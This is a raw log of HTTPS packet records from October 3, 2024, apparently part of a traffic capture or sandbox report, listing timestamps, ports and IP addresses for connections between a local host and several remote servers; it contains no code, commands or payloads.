Oct 3, 2024 17:19:01.050920963 CEST	443	55798	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:01.052023888 CEST	443	55798	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:01.052409887 CEST	55798	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:01.052581072 CEST	443	55798	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:01.052798986 CEST	55798	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:01.099406958 CEST	443	55798	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:01.104231119 CEST	55798	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:01.185466051 CEST	443	55795	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:01.185717106 CEST	443	55795	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:01.185786009 CEST	55795	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:01.186455965 CEST	443	55796	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:01.186542988 CEST	55795	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:01.186584949 CEST	443	55795	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:01.186620951 CEST	443	55796	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:01.186880112 CEST	55796	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:01.188344955 CEST	55796	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:01.188366890 CEST	443	55796	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:01.201725960 CEST	443	55797	40.126.31.67	192.168.2.17
Oct 3, 2024 17:19:01.201880932 CEST	55797	443	192.168.2.17	40.126.31.67
Oct 3, 2024 17:19:01.233293056 CEST	55797	443	192.168.2.17	40.126.31.67
Oct 3, 2024 17:19:01.233309984 CEST	443	55797	40.126.31.67	192.168.2.17
Oct 3, 2024 17:19:01.233849049 CEST	443	55797	40.126.31.67	192.168.2.17
Oct 3, 2024 17:19:01.234427929 CEST	55797	443	192.168.2.17	40.126.31.67
Oct 3, 2024 17:19:01.234478951 CEST	55797	443	192.168.2.17	40.126.31.67
Oct 3, 2024 17:19:01.234589100 CEST	443	55797	40.126.31.67	192.168.2.17
Oct 3, 2024 17:19:01.296515942 CEST	443	55802	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.296828985 CEST	55802	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:01.296876907 CEST	443	55802	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.297303915 CEST	443	55802	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.297616005 CEST	55802	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:01.297700882 CEST	443	55802	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.297770023 CEST	55802	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:01.298758984 CEST	443	55800	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:01.298954010 CEST	55800	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:01.298991919 CEST	443	55800	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:01.300162077 CEST	443	55800	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:01.300559044 CEST	55800	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:01.300725937 CEST	443	55800	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:01.300729990 CEST	55800	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:01.309510946 CEST	443	55801	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.309814930 CEST	55801	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:01.309833050 CEST	443	55801	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.310995102 CEST	443	55801	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.313834906 CEST	55801	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:01.314075947 CEST	443	55801	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.314121008 CEST	55801	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:01.319416046 CEST	443	55804	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.321405888 CEST	55804	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:01.321424007 CEST	443	55804	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.322570086 CEST	443	55804	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.322731018 CEST	55804	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:01.323400974 CEST	55804	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:01.323400974 CEST	55804	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:01.323415995 CEST	443	55804	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.323473930 CEST	443	55804	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.339435101 CEST	443	55802	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.342241049 CEST	55800	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:01.342266083 CEST	443	55800	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:01.354347944 CEST	443	55798	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:01.354540110 CEST	443	55798	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:01.354624987 CEST	55798	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:01.355336905 CEST	55798	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:01.355359077 CEST	443	55798	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:01.355421066 CEST	443	55801	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.358217001 CEST	55801	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:01.374702930 CEST	55804	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:01.374727011 CEST	443	55804	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.382813931 CEST	443	55799	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.383080959 CEST	55799	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:01.383099079 CEST	443	55799	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.384222031 CEST	443	55799	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.384536028 CEST	55799	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:01.384680986 CEST	55799	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:01.384749889 CEST	443	55799	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.384942055 CEST	55799	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:01.384949923 CEST	443	55799	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.422205925 CEST	55804	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:01.437241077 CEST	55799	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:01.518836975 CEST	443	55803	139.45.195.8	192.168.2.17
Oct 3, 2024 17:19:01.519359112 CEST	55803	443	192.168.2.17	139.45.195.8
Oct 3, 2024 17:19:01.519378901 CEST	443	55803	139.45.195.8	192.168.2.17
Oct 3, 2024 17:19:01.520307064 CEST	443	55803	139.45.195.8	192.168.2.17
Oct 3, 2024 17:19:01.520385027 CEST	55803	443	192.168.2.17	139.45.195.8
Oct 3, 2024 17:19:01.521974087 CEST	55803	443	192.168.2.17	139.45.195.8
Oct 3, 2024 17:19:01.522033930 CEST	443	55803	139.45.195.8	192.168.2.17
Oct 3, 2024 17:19:01.522186995 CEST	55803	443	192.168.2.17	139.45.195.8
Oct 3, 2024 17:19:01.538634062 CEST	443	55797	40.126.31.67	192.168.2.17
Oct 3, 2024 17:19:01.538688898 CEST	443	55797	40.126.31.67	192.168.2.17
Oct 3, 2024 17:19:01.538729906 CEST	443	55797	40.126.31.67	192.168.2.17
Oct 3, 2024 17:19:01.538789988 CEST	55797	443	192.168.2.17	40.126.31.67
Oct 3, 2024 17:19:01.538805008 CEST	443	55797	40.126.31.67	192.168.2.17
Oct 3, 2024 17:19:01.538847923 CEST	55797	443	192.168.2.17	40.126.31.67
Oct 3, 2024 17:19:01.538853884 CEST	443	55797	40.126.31.67	192.168.2.17
Oct 3, 2024 17:19:01.538897991 CEST	55797	443	192.168.2.17	40.126.31.67
Oct 3, 2024 17:19:01.538908005 CEST	443	55797	40.126.31.67	192.168.2.17
Oct 3, 2024 17:19:01.540766001 CEST	55797	443	192.168.2.17	40.126.31.67
Oct 3, 2024 17:19:01.544778109 CEST	55797	443	192.168.2.17	40.126.31.67
Oct 3, 2024 17:19:01.544790030 CEST	443	55797	40.126.31.67	192.168.2.17
Oct 3, 2024 17:19:01.544800043 CEST	55797	443	192.168.2.17	40.126.31.67
Oct 3, 2024 17:19:01.544806004 CEST	443	55797	40.126.31.67	192.168.2.17
Oct 3, 2024 17:19:01.565260887 CEST	55803	443	192.168.2.17	139.45.195.8
Oct 3, 2024 17:19:01.565296888 CEST	443	55803	139.45.195.8	192.168.2.17
Oct 3, 2024 17:19:01.581485033 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:01.581913948 CEST	55808	443	192.168.2.17	142.250.185.110
Oct 3, 2024 17:19:01.581947088 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:01.582982063 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:01.583092928 CEST	55808	443	192.168.2.17	142.250.185.110
Oct 3, 2024 17:19:01.583722115 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:01.583781958 CEST	55808	443	192.168.2.17	142.250.185.110
Oct 3, 2024 17:19:01.583978891 CEST	55808	443	192.168.2.17	142.250.185.110
Oct 3, 2024 17:19:01.584047079 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:01.584362030 CEST	55808	443	192.168.2.17	142.250.185.110
Oct 3, 2024 17:19:01.584372044 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:01.591135025 CEST	443	55802	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.591239929 CEST	443	55802	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.591314077 CEST	55802	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:01.592118979 CEST	55802	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:01.592133999 CEST	443	55802	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.595279932 CEST	55810	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:01.595304012 CEST	443	55810	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.595455885 CEST	55810	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:01.595685005 CEST	55810	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:01.595695972 CEST	443	55810	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.596165895 CEST	443	55809	13.107.5.88	192.168.2.17
Oct 3, 2024 17:19:01.596245050 CEST	55809	443	192.168.2.17	13.107.5.88
Oct 3, 2024 17:19:01.599054098 CEST	55811	443	192.168.2.17	2.23.209.185
Oct 3, 2024 17:19:01.599086046 CEST	443	55811	2.23.209.185	192.168.2.17
Oct 3, 2024 17:19:01.599212885 CEST	55811	443	192.168.2.17	2.23.209.185
Oct 3, 2024 17:19:01.600537062 CEST	55809	443	192.168.2.17	13.107.5.88
Oct 3, 2024 17:19:01.600543022 CEST	443	55809	13.107.5.88	192.168.2.17
Oct 3, 2024 17:19:01.600861073 CEST	443	55809	13.107.5.88	192.168.2.17
Oct 3, 2024 17:19:01.601434946 CEST	55811	443	192.168.2.17	2.23.209.185
Oct 3, 2024 17:19:01.601444960 CEST	443	55811	2.23.209.185	192.168.2.17
Oct 3, 2024 17:19:01.613228083 CEST	55803	443	192.168.2.17	139.45.195.8
Oct 3, 2024 17:19:01.614881039 CEST	443	55801	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.615046978 CEST	443	55801	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.615077019 CEST	443	55804	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.615103006 CEST	55801	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:01.615169048 CEST	443	55804	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.615286112 CEST	55804	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:01.615731001 CEST	55801	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:01.615737915 CEST	443	55801	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.615753889 CEST	55801	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:01.615897894 CEST	55801	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:01.616763115 CEST	55804	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:01.616781950 CEST	443	55804	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.619139910 CEST	443	55800	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:01.619304895 CEST	443	55800	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:01.619354010 CEST	55800	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:01.619673014 CEST	55800	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:01.619678020 CEST	443	55800	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:01.629230022 CEST	55808	443	192.168.2.17	142.250.185.110
Oct 3, 2024 17:19:01.641485929 CEST	443	55799	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.641510010 CEST	443	55799	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.641516924 CEST	443	55799	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.641546011 CEST	443	55799	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.641565084 CEST	443	55799	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.641575098 CEST	443	55799	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.641597033 CEST	55799	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:01.641618967 CEST	443	55799	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.641643047 CEST	55799	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:01.641674042 CEST	55799	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:01.645282030 CEST	55809	443	192.168.2.17	13.107.5.88
Oct 3, 2024 17:19:01.646341085 CEST	443	55799	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.646358013 CEST	443	55799	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.646424055 CEST	55799	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:01.646433115 CEST	443	55799	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.646477938 CEST	55799	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:01.647878885 CEST	55809	443	192.168.2.17	13.107.5.88
Oct 3, 2024 17:19:01.668580055 CEST	443	55799	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.668653011 CEST	443	55799	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.668673992 CEST	443	55799	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.668698072 CEST	55799	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:01.668721914 CEST	55799	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:01.668754101 CEST	55799	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:01.668984890 CEST	55799	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:01.668998957 CEST	443	55799	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.679162025 CEST	443	55805	157.90.33.122	192.168.2.17
Oct 3, 2024 17:19:01.679414988 CEST	55805	443	192.168.2.17	157.90.33.122
Oct 3, 2024 17:19:01.679435968 CEST	443	55805	157.90.33.122	192.168.2.17
Oct 3, 2024 17:19:01.680519104 CEST	443	55805	157.90.33.122	192.168.2.17
Oct 3, 2024 17:19:01.680617094 CEST	55805	443	192.168.2.17	157.90.33.122
Oct 3, 2024 17:19:01.680942059 CEST	55805	443	192.168.2.17	157.90.33.122
Oct 3, 2024 17:19:01.681011915 CEST	443	55805	157.90.33.122	192.168.2.17
Oct 3, 2024 17:19:01.681019068 CEST	55805	443	192.168.2.17	157.90.33.122
Oct 3, 2024 17:19:01.695400000 CEST	443	55809	13.107.5.88	192.168.2.17
Oct 3, 2024 17:19:01.710412979 CEST	443	55803	139.45.195.8	192.168.2.17
Oct 3, 2024 17:19:01.710503101 CEST	443	55803	139.45.195.8	192.168.2.17
Oct 3, 2024 17:19:01.710691929 CEST	55803	443	192.168.2.17	139.45.195.8
Oct 3, 2024 17:19:01.711349010 CEST	55803	443	192.168.2.17	139.45.195.8
Oct 3, 2024 17:19:01.711380959 CEST	443	55803	139.45.195.8	192.168.2.17
Oct 3, 2024 17:19:01.712470055 CEST	55812	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:01.712502003 CEST	443	55812	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.712567091 CEST	55812	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:01.713712931 CEST	55812	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:01.713723898 CEST	443	55812	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:01.725323915 CEST	55805	443	192.168.2.17	157.90.33.122
Oct 3, 2024 17:19:01.725337029 CEST	443	55805	157.90.33.122	192.168.2.17
Oct 3, 2024 17:19:01.727168083 CEST	55814	443	192.168.2.17	139.45.195.8
Oct 3, 2024 17:19:01.727189064 CEST	443	55814	139.45.195.8	192.168.2.17
Oct 3, 2024 17:19:01.727289915 CEST	55814	443	192.168.2.17	139.45.195.8
Oct 3, 2024 17:19:01.727521896 CEST	55814	443	192.168.2.17	139.45.195.8
Oct 3, 2024 17:19:01.727541924 CEST	443	55814	139.45.195.8	192.168.2.17
Oct 3, 2024 17:19:01.750422955 CEST	443	55809	13.107.5.88	192.168.2.17
Oct 3, 2024 17:19:01.750664949 CEST	443	55809	13.107.5.88	192.168.2.17
Oct 3, 2024 17:19:01.750756025 CEST	55809	443	192.168.2.17	13.107.5.88
Oct 3, 2024 17:19:01.754725933 CEST	55809	443	192.168.2.17	13.107.5.88
Oct 3, 2024 17:19:01.773238897 CEST	55805	443	192.168.2.17	157.90.33.122
Oct 3, 2024 17:19:01.797574043 CEST	443	55806	178.63.248.56	192.168.2.17
Oct 3, 2024 17:19:01.798016071 CEST	55806	443	192.168.2.17	178.63.248.56
Oct 3, 2024 17:19:01.798038006 CEST	443	55806	178.63.248.56	192.168.2.17
Oct 3, 2024 17:19:01.799665928 CEST	443	55806	178.63.248.56	192.168.2.17
Oct 3, 2024 17:19:01.799762964 CEST	55806	443	192.168.2.17	178.63.248.56
Oct 3, 2024 17:19:01.801430941 CEST	55806	443	192.168.2.17	178.63.248.56
Oct 3, 2024 17:19:01.801575899 CEST	443	55806	178.63.248.56	192.168.2.17
Oct 3, 2024 17:19:01.801825047 CEST	55806	443	192.168.2.17	178.63.248.56
Oct 3, 2024 17:19:01.801836967 CEST	443	55806	178.63.248.56	192.168.2.17
Oct 3, 2024 17:19:01.853218079 CEST	55806	443	192.168.2.17	178.63.248.56
Oct 3, 2024 17:19:01.879616976 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:01.879667044 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:01.879761934 CEST	55808	443	192.168.2.17	142.250.185.110
Oct 3, 2024 17:19:01.879801989 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:01.879863024 CEST	55808	443	192.168.2.17	142.250.185.110
Oct 3, 2024 17:19:01.879924059 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:01.884989023 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:01.885061026 CEST	55808	443	192.168.2.17	142.250.185.110
Oct 3, 2024 17:19:01.885080099 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:01.891458035 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:01.891560078 CEST	55808	443	192.168.2.17	142.250.185.110
Oct 3, 2024 17:19:01.891575098 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:01.899713039 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:01.899817944 CEST	55808	443	192.168.2.17	142.250.185.110
Oct 3, 2024 17:19:01.899841070 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:01.908970118 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:01.909168959 CEST	55808	443	192.168.2.17	142.250.185.110
Oct 3, 2024 17:19:01.909177065 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:01.913831949 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:01.913980007 CEST	55808	443	192.168.2.17	142.250.185.110
Oct 3, 2024 17:19:01.913992882 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:01.965238094 CEST	55808	443	192.168.2.17	142.250.185.110
Oct 3, 2024 17:19:01.969726086 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:01.969961882 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:01.969994068 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:01.970012903 CEST	55808	443	192.168.2.17	142.250.185.110
Oct 3, 2024 17:19:01.970031977 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:01.970110893 CEST	55808	443	192.168.2.17	142.250.185.110
Oct 3, 2024 17:19:01.971054077 CEST	443	55805	157.90.33.122	192.168.2.17
Oct 3, 2024 17:19:01.971081018 CEST	443	55805	157.90.33.122	192.168.2.17
Oct 3, 2024 17:19:01.971090078 CEST	443	55805	157.90.33.122	192.168.2.17
Oct 3, 2024 17:19:01.971124887 CEST	443	55805	157.90.33.122	192.168.2.17
Oct 3, 2024 17:19:01.971134901 CEST	443	55805	157.90.33.122	192.168.2.17
Oct 3, 2024 17:19:01.971147060 CEST	443	55805	157.90.33.122	192.168.2.17
Oct 3, 2024 17:19:01.971160889 CEST	55805	443	192.168.2.17	157.90.33.122
Oct 3, 2024 17:19:01.971178055 CEST	443	55805	157.90.33.122	192.168.2.17
Oct 3, 2024 17:19:01.971227884 CEST	55805	443	192.168.2.17	157.90.33.122
Oct 3, 2024 17:19:01.971227884 CEST	55805	443	192.168.2.17	157.90.33.122
Oct 3, 2024 17:19:01.972491026 CEST	443	55805	157.90.33.122	192.168.2.17
Oct 3, 2024 17:19:01.972510099 CEST	443	55805	157.90.33.122	192.168.2.17
Oct 3, 2024 17:19:01.972790003 CEST	55805	443	192.168.2.17	157.90.33.122
Oct 3, 2024 17:19:01.972800970 CEST	443	55805	157.90.33.122	192.168.2.17
Oct 3, 2024 17:19:01.975228071 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:01.976087093 CEST	443	55805	157.90.33.122	192.168.2.17
Oct 3, 2024 17:19:01.976109028 CEST	443	55805	157.90.33.122	192.168.2.17
Oct 3, 2024 17:19:01.976207972 CEST	55805	443	192.168.2.17	157.90.33.122
Oct 3, 2024 17:19:01.976207972 CEST	55805	443	192.168.2.17	157.90.33.122
Oct 3, 2024 17:19:01.976218939 CEST	443	55805	157.90.33.122	192.168.2.17
Oct 3, 2024 17:19:01.983100891 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:01.983133078 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:01.983146906 CEST	55808	443	192.168.2.17	142.250.185.110
Oct 3, 2024 17:19:01.983161926 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:01.983216047 CEST	55808	443	192.168.2.17	142.250.185.110
Oct 3, 2024 17:19:01.997785091 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.003524065 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.003681898 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.003762960 CEST	55808	443	192.168.2.17	142.250.185.110
Oct 3, 2024 17:19:02.003777027 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.003825903 CEST	55808	443	192.168.2.17	142.250.185.110
Oct 3, 2024 17:19:02.006620884 CEST	443	55806	178.63.248.56	192.168.2.17
Oct 3, 2024 17:19:02.007477045 CEST	443	55806	178.63.248.56	192.168.2.17
Oct 3, 2024 17:19:02.007525921 CEST	55815	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.007556915 CEST	55806	443	192.168.2.17	178.63.248.56
Oct 3, 2024 17:19:02.007575035 CEST	443	55815	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.007678986 CEST	55815	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.007997990 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.008057117 CEST	55816	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.008091927 CEST	443	55816	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.008174896 CEST	55816	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.008404970 CEST	55817	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.008430004 CEST	443	55817	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.008506060 CEST	55817	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.008766890 CEST	55806	443	192.168.2.17	178.63.248.56
Oct 3, 2024 17:19:02.008784056 CEST	443	55806	178.63.248.56	192.168.2.17
Oct 3, 2024 17:19:02.009130001 CEST	55815	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.009145975 CEST	443	55815	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.009335995 CEST	55816	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.009352922 CEST	443	55816	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.009458065 CEST	55817	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.009470940 CEST	443	55817	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.010133028 CEST	55818	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.010140896 CEST	443	55818	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.010216951 CEST	55818	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.010637045 CEST	55819	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:02.010663033 CEST	443	55819	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:02.010725021 CEST	55819	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:02.011360884 CEST	55820	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.011398077 CEST	443	55820	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.011403084 CEST	55821	443	192.168.2.17	178.63.248.56
Oct 3, 2024 17:19:02.011415958 CEST	443	55821	178.63.248.56	192.168.2.17
Oct 3, 2024 17:19:02.011476040 CEST	55820	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.011478901 CEST	55821	443	192.168.2.17	178.63.248.56
Oct 3, 2024 17:19:02.011585951 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.011603117 CEST	55818	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.011615038 CEST	443	55818	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.011634111 CEST	55808	443	192.168.2.17	142.250.185.110
Oct 3, 2024 17:19:02.011646032 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.011814117 CEST	55819	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:02.011826992 CEST	443	55819	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:02.011955023 CEST	55821	443	192.168.2.17	178.63.248.56
Oct 3, 2024 17:19:02.011966944 CEST	443	55821	178.63.248.56	192.168.2.17
Oct 3, 2024 17:19:02.012110949 CEST	55820	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.012125969 CEST	443	55820	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.014739990 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.014806986 CEST	55808	443	192.168.2.17	142.250.185.110
Oct 3, 2024 17:19:02.014817953 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.018381119 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.018435955 CEST	55808	443	192.168.2.17	142.250.185.110
Oct 3, 2024 17:19:02.018448114 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.024283886 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.024344921 CEST	55808	443	192.168.2.17	142.250.185.110
Oct 3, 2024 17:19:02.024357080 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.028265953 CEST	55805	443	192.168.2.17	157.90.33.122
Oct 3, 2024 17:19:02.029534101 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.029594898 CEST	55808	443	192.168.2.17	142.250.185.110
